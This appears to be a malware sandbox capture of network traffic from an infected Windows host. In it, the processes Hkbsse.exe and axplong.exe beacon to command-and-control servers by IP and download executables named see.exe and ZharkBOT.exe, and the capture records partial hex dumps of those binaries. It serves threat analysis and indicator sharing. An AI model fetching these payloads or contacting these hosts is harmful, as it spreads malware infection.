Jul 13, 2024 07:08:57.769032955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	59107	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:57.778137922 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:58.443319082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	59108	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:58.567071915 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:59.205446959 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	59109	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:59.218234062 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:59.860078096 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	59110	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:59.979461908 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:09:00.628973007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	59111	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:00.475081921 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 32 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000240001&unit=246122658369
Jul 13, 2024 07:09:01.162185907 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	59112	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:00.638145924 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:09:01.278774023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	59113	77.232.41.110	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:01.176508904 CEST	52	OUT	GET /large/see.exe HTTP/1.1 Host: 77.232.41.110
Jul 13, 2024 07:09:01.885740042 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:01 GMT Content-Type: application/octet-stream Content-Length: 550912 Last-Modified: Fri, 12 Jul 2024 08:28:21 GMT Connection: keep-alive ETag: "6690e925-86800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 41 fd 6e b8 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 ac 02 00 00 ba 05 00 00 00 00 00 de ca 02 00 00 20 00 00 00 e0 02 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 ca 02 00 57 00 00 00 00 e0 02 00 62 b6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 08 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELAn0 @ @Wb H.text `.rsrcb@@.relocf@BH)EP D~;]1!HNINeFXV:)]"fSZ{fPQAeS~'^:k;EXK0U vmvL%O*5D&bZIg%E]/uLFk_mzRY-t!Xi)IDjuyxX>kq'O f:}Jc1Q3`SEbdwk
Jul 13, 2024 07:09:01.885782003 CEST	1236	IN	Data Raw: a0 1c fe 08 2b 94 f9 48 68 58 70 45 fd 19 8f de 6c 87 94 7b f8 b7 52 73 d3 23 ab 4b 02 e2 72 1f 8f 57 e3 55 ab 2a 66 eb 28 07 b2 b5 c2 03 2f c5 7b 9a 86 37 08 a5 d3 28 87 f2 30 bf a5 b2 23 03 6a ba 02 16 82 5c ed cf 1c 2b 8a 79 b4 92 a7 07 f2 f0 Data Ascii: +HhXpEl{Rs#KrWU*f(/{7(0#j\+yiNe4b.S4U2u9`@q^nQ!>=>FMT]qoP`$@CwgB[8y\|GB\|+H2pZrNl8V=
Jul 13, 2024 07:09:01.885799885 CEST	1236	IN	Data Raw: f6 7b 7b 0d ff f2 f2 bd d6 6b 6b b1 de 6f 6f 54 91 c5 c5 50 60 30 30 03 02 01 01 a9 ce 67 67 7d 56 2b 2b 19 e7 fe fe 62 b5 d7 d7 e6 4d ab ab 9a ec 76 76 45 8f ca ca 9d 1f 82 82 40 89 c9 c9 87 fa 7d 7d 15 ef fa fa eb b2 59 59 c9 8e 47 47 0b fb f0 Data Ascii: {{kkooTP`00gg}V++bMvvE@}}YYGGAg_E#Srr[u=jL&&Zl66A~??O\h44Q4qqsSb11?*ReF##^(07/6$=&iN''uu
Jul 13, 2024 07:09:01.885809898 CEST	672	IN	Data Raw: b1 5a 49 25 ba 1b 67 45 ea 0e 98 5d fe c0 e1 c3 2f 75 02 81 4c f0 12 8d 46 97 a3 6b d3 f9 c6 03 8f 5f e7 15 92 9c 95 bf 6d 7a eb 95 52 59 da d4 be 83 2d 58 74 21 d3 49 e0 69 29 8e c9 c8 44 75 c2 89 6a f4 8e 79 78 99 58 3e 6b 27 b9 71 dd be e1 4f Data Ascii: ZI%gE]/uLFk_mzRY-Xt!Ii)DujyxX>k'qO f}:cJ1Q3`bSEdwk+pHhXElR{s#rKWfU*(/{70(#j\+yNie4b4.SU2u9
Jul 13, 2024 07:09:01.885821104 CEST	1236	IN	Data Raw: 26 78 09 6e 59 18 f4 ec 9a b7 01 83 4f 9a a8 e6 95 6e 65 aa ff e6 7e 21 bc cf 08 ef 15 e8 e6 ba e7 9b d9 4a 6f 36 ce ea 9f 09 d4 29 b0 7c d6 31 a4 b2 af 2a 3f 23 31 c6 a5 94 30 35 a2 66 c0 74 4e bc 37 fc 82 ca a6 e0 90 d0 b0 33 a7 d8 15 f1 04 98 Data Ascii: &xnYOne~!Jo6)\|1*?#105ftN73JAP/vMCMMTLj,FeQ^5]tsA.gZRV3mGa7zY<'a5zG<YUs?ys7S_[=oxDh>8$4,@_r
Jul 13, 2024 07:09:01.885885000 CEST	1236	IN	Data Raw: 6e bd d3 ac ef 43 ac 62 a6 c4 62 91 a8 39 91 95 a4 31 95 e4 37 d3 e4 79 8b f2 79 e7 32 d5 e7 c8 43 8b c8 37 59 6e 37 6d b7 da 6d 8d 8c 01 8d d5 64 b1 d5 4e d2 9c 4e a9 e0 49 a9 6c b4 d8 6c 56 fa ac 56 f4 07 f3 f4 ea 25 cf ea 65 af ca 65 7a 8e f4 Data Ascii: nCbb917yy2C7Yn7mmdNNIllVV%eezzGoxx%oJ%.r\.$8WsQ#\|tt!>KKapp>B\|>qffHHaa5_j5WWiX':'8+3"iip
Jul 13, 2024 07:09:01.885896921 CEST	1236	IN	Data Raw: 25 ec 90 73 82 81 b3 0a ce ee ea 72 0b 4e e2 1d 33 b3 a2 c0 01 10 2b 36 8a 60 c7 1f 7d 52 dc 4b 09 36 8a 25 aa 82 9a e2 2a 63 3e 16 ab 4a f9 15 f1 cd b4 1c f4 52 36 86 05 77 c5 6b 3f b4 fa 36 ad 23 d8 e9 f5 be 77 ab 57 49 28 45 63 90 f6 80 ed f5 Data Ascii: %srN3+6`}RK6%c>JR6wk?6#wWI(EcqY>}[n"}xYJ4hh,NmK(EVWM)i9EK0\|@?0nRnG*kHC!7c<:j9Bc&y;w_
Jul 13, 2024 07:09:01.885915041 CEST	1236	IN	Data Raw: e3 fc 4d a9 39 53 12 7a cd f5 c3 19 57 7d 55 3e 0b 6f 46 ff 59 29 f9 53 32 e3 e5 82 4f e9 34 8f eb 60 61 43 3e 8e 21 2c 1a 22 70 92 95 24 30 7b cf 79 3a 22 f4 da 89 fb 2c 62 6c ce 08 e6 b3 fc f1 11 ec c2 77 c9 34 7b 33 d8 b4 e4 97 ec 59 bf 15 60 Data Ascii: M9SzW}U>oFY)S2O4`aC>!,"p$0{y:",blw4{3Y`?;2)wx4\38]BnM4l#PI er}01N:hM:{^IgI+o&sqE[Ej)$0*YgDLik-_:zM%:%
Jul 13, 2024 07:09:01.885926008 CEST	1236	IN	Data Raw: 5e 9e 22 61 76 1f db b4 32 8f 03 f4 94 a9 cc 54 77 11 97 a0 75 e9 ea eb 41 ba b6 7c 18 d1 42 ea e9 ed 4a ea 19 d3 d5 a2 88 06 54 8e 85 a8 12 23 7e e0 52 2c 63 7d 12 2d 64 66 fc 6e 34 25 ca 8a df 07 59 46 22 57 63 1f 50 90 f4 52 a6 8b fd cb cd 51 Data Ascii: ^"av2TwuA\|BJT#~R,c}-dfn4%YF"WcPRQy4.jbN!_u6GSqQh[/7z^~db<T()4- `FEz4!'&85y/{s#~8~_&cqx++JTw/pa5/. ~py.ZSR*M36
Jul 13, 2024 07:09:01.885936975 CEST	1236	IN	Data Raw: 6a fd b3 82 ac 75 0a 8f 26 17 21 b7 9f 74 67 42 a4 58 98 0d 62 a4 c7 70 04 37 b5 63 41 33 db 31 02 18 7c d5 18 67 20 38 ff 5c bc d8 27 5a 69 4e 85 3d 5c 0b 6b f3 bc 23 57 48 2a 5c 04 96 44 f4 54 e8 a6 6b 48 92 c1 13 10 fb 58 58 6d 65 c6 53 a9 43 Data Ascii: ju&!tgBXbp7cA31\|g 8\'ZiN=\k#WH\DTkHXXmeSCSlF<m72aGF7>df/Cg;]^vYMLUB!PZ%Z}1vVa~wcG#.m\|tJ#]{
Jul 13, 2024 07:09:01.891611099 CEST	1236	IN	Data Raw: 83 c1 60 d2 30 cb 84 d9 0b 48 06 38 3a 8b 2d 54 ed 02 e4 ce 88 10 cd f5 99 b3 f9 87 4a d9 d5 f6 46 89 e5 79 7e fb 67 6b d6 05 16 bb 99 57 00 bb 2e 3b c8 a8 06 47 07 7f b2 08 99 f2 ab df ac 50 b1 f1 98 55 ec 13 f8 d6 67 38 06 d0 01 f3 66 f8 97 77 Data Ascii: `0H8:-TJFy~gkW.;GPUg8fw434&zYr;;~V_K+?*I& ;"i\F_E@p',CA,d<,K"<IA"xl4Sa%\|:jWL+)-n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	59114	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:01.393424988 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:09:02.418622017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:09:02.418680906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	59115	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:02.435219049 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:09:03.090693951 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	59116	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:03.208720922 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:09:03.861663103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	59117	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:03.257088900 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 32 34 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000241001&unit=246122658369
Jul 13, 2024 07:09:03.962102890 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	59118	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:03.871479034 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:09:04.544774055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	59119	77.232.41.110	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:09:03.974349022 CEST	57	OUT	GET /large/ZharkBOT.exe HTTP/1.1 Host: 77.232.41.110
Jul 13, 2024 07:09:04.684490919 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:09:04 GMT Content-Type: application/octet-stream Content-Length: 922112 Last-Modified: Fri, 12 Jul 2024 08:46:23 GMT Connection: keep-alive ETag: "6690ed5f-e1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 85 f4 5a 70 c1 95 34 23 c1 95 34 23 c1 95 34 23 12 e7 37 22 cc 95 34 23 12 e7 31 22 70 95 34 23 12 e7 30 22 d6 95 34 23 93 e0 30 22 d0 95 34 23 93 e0 37 22 d6 95 34 23 93 e0 31 22 95 95 34 23 12 e7 35 22 d0 95 34 23 c1 95 35 23 1e 95 34 23 09 e0 30 22 c0 95 34 23 09 e0 31 22 c8 95 34 23 09 e0 36 22 c0 95 34 23 52 69 63 68 c1 95 34 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 57 ed 90 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f0 0b 00 00 32 02 00 00 00 00 00 68 11 0a 00 00 10 00 00 00 00 0c 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Zp4#4#4#7"4#1"p4#0"4#0"4#7"4#1"4#5"4#5#4#0"4#1"4#6"4#Rich4#PELWf2h@P@gZ8[@.text `.rdata@@.data07$@.relocgh@B
Jul 13, 2024 07:09:04.684528112 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 38 c7 4d 00 e8 5d e1 09 00 68 cc fe 4b 00 e8 9a 03 0a 00 59 c3 68 e0 fe 4b 00 Data Ascii: 8M]hKYhKYhKYjjh`MMhKcYVWjDY`MjV`ML7hK+Y_^M4MhKYMhKY
Jul 13, 2024 07:09:04.684544086 CEST	1236	IN	Data Raw: e8 6e 04 00 00 83 c4 08 83 78 14 10 8b 50 10 72 02 8b 00 83 7d f8 10 8d 4d e4 57 0f 43 4d e4 bb 01 00 00 00 52 50 6a 00 ff 75 f4 51 e8 02 fc ff ff 83 c4 14 83 f8 ff 0f 85 51 02 00 00 8d 45 b0 68 98 03 4c 00 50 e8 28 04 00 00 83 c4 08 83 78 14 10 Data Ascii: nxPr}MWCMRPjuQQEhLP(xPr}MRCMPjuQEhLPxPr}MuCMRPjVQwE]MCF+PjwS
Jul 13, 2024 07:09:04.684554100 CEST	624	IN	Data Raw: 00 8d 45 d0 c7 45 e4 0f 00 00 00 8d 4f 02 8b 75 08 0f 10 00 0f 11 06 f3 0f 7e 40 10 66 0f d6 46 10 c7 40 10 00 00 00 00 c7 40 14 0f 00 00 00 c6 00 00 85 c9 74 30 8b 55 e4 83 fa 10 72 28 8b 4d d0 42 8b c1 81 fa 00 10 00 00 72 10 8b 49 fc 83 c2 23 Data Ascii: EEOu~@fF@@t0Ur(MBrI#+wFRQt0Ur(MBrI#+wRQ_^]77I<LEUuEPfC]U@SVW3MS]-
Jul 13, 2024 07:09:04.684564114 CEST	1236	IN	Data Raw: 73 10 8b 41 08 8b 34 b8 85 f6 0f 85 b7 00 00 00 eb 02 33 f6 38 59 14 74 10 e8 e9 d7 09 00 3b 78 0c 73 0e 8b 40 08 8b 34 b8 85 f6 0f 85 96 00 00 00 8b 45 f8 85 c0 74 13 8d 4d f4 8b f0 e8 c9 d5 09 00 5f 8b c6 5e 5b 8b e5 5d c3 6a 18 e8 7b ea 09 00 Data Ascii: sA438Yt;xs@4EtM_^[]j{tGEHtAuALPME^P\|LF3tM^V$R5MM<_^[]U$}SV]t2
Jul 13, 2024 07:09:04.684653044 CEST	176	IN	Data Raw: 00 85 c0 74 11 50 56 e8 2d d4 09 00 83 c4 08 8b c6 5e 5d c2 04 00 68 68 04 4c 00 e8 72 d0 09 00 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 50 53 56 57 8b 7d 10 8b d9 83 7f 14 10 8b 47 10 89 45 10 72 02 8b 3f 83 f8 10 73 1d 8b 75 0c 89 45 f0 Data Ascii: tPV-^]hhLrUPSVW}GEr?suEE}EtM<M;GFPMAEQWPE}uuEjhLM
Jul 13, 2024 07:09:04.684662104 CEST	1236	IN	Data Raw: 27 10 00 00 8b 06 8d 4d c8 57 51 8b ce ff 50 08 83 7d dc 10 8d 45 c8 ff 75 d8 0f 43 45 c8 8d 4d e0 50 e8 04 10 00 00 8b 55 dc 83 fa 10 72 2c 8b 4d c8 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 a2 00 00 00 52 Data Ascii: 'MWQP}EuCEMPUr,MBrI#+RQ!MM}~Ef~fEW4LCfCCMPEEPMLULr(MBrI#+w,RQEM_C^LK[]
